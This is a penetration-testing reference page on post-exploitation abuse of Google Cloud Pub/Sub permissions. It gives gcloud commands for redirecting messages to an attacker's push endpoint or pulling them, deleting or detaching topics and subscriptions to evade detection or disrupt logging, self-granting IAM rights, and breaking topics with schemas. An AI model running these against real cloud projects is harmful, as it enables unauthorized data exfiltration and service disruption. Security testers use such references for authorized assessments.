# GCP - Pub/Sub Post Exploitation
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## Pub/Sub
For more information about Pub/Sub check the following page:
{% content-ref url="../gcp-services/gcp-pub-sub.md" %}
[gcp-pub-sub.md](../gcp-services/gcp-pub-sub.md)
{% endcontent-ref %}
### `pubsub.topics.publish`
Publish a message in a topic, useful to **send unexpected data** and trigger unexpected functionalities or exploit vulnerabilities:
```bash
# Publish a message in a topic
gcloud pubsub topics publish --message "Hello!"
```
### `pubsub.topics.detachSubscription`
Useful to prevent a subscription from receiving messages, maybe to avoid detection.
```bash
gcloud pubsub topics detach-subscription
```
### `pubsub.topics.delete`
Useful to prevent a subscription from receiving messages, maybe to avoid detection.\
It's possible to delete a topic even with subscriptions attached to it.
```bash
gcloud pubsub topics delete
```
### `pubsub.topics.update`
Use this permission to update some setting of the topic to disrupt it, like `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
### `pubsub.topics.setIamPolicy`
Give yourself permission to perform any of the previous attacks.
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
Get all the messages in a web server:
{% code overflow="wrap" %}
```bash
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create --topic --push-endpoint https://
```
{% endcode %}
Create a subscription and use it to **pull messages**:
```bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create --topic
# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull
## This command will wait for a message to be posted
```
### `pubsub.subscriptions.delete`
**Delete a subscription** could be useful to disrupt a log processing system or something similar:
```bash
gcloud pubsub subscriptions delete
```
### `pubsub.subscriptions.update`
Use this permission to update some setting so messages are stored in a place you can access (URL, Big Query table, Bucket) or just to disrupt it.
{% code overflow="wrap" %}
```bash
gcloud pubsub subscriptions update --push-endpoint
```
{% endcode %}
### `pubsub.subscriptions.setIamPolicy`
Give yourself the permissions needed to perform any of the previously commented attacks.
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
Attack a schema to a topic so the messages doesn't fulfil it and therefore the topic is disrupted.\
If there aren't any schemas you might need to create one.
{% code title="schema.json" %}
```json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
```
{% endcode %}
```bash
# Attach new schema
gcloud pubsub topics update projects//topics/ \
--schema=projects//schemas/ \
--message-encoding=json
```
### `pubsub.schemas.delete`
This might look like deleting a schema you will be able to send messages that doesn't fulfil with the schema. However, as the schema will be deleted no message will actually enter inside the topic. So this is **USELESS**:
```bash
gcloud pubsub schemas delete
```
### `pubsub.schemas.setIamPolicy`
Give yourself the permissions needed to perform any of the previously commented attacks.
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
This is will create a snapshot of all the unACKed messages and put them back to the subscription. Not very useful for an attacker but here it's:
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
```
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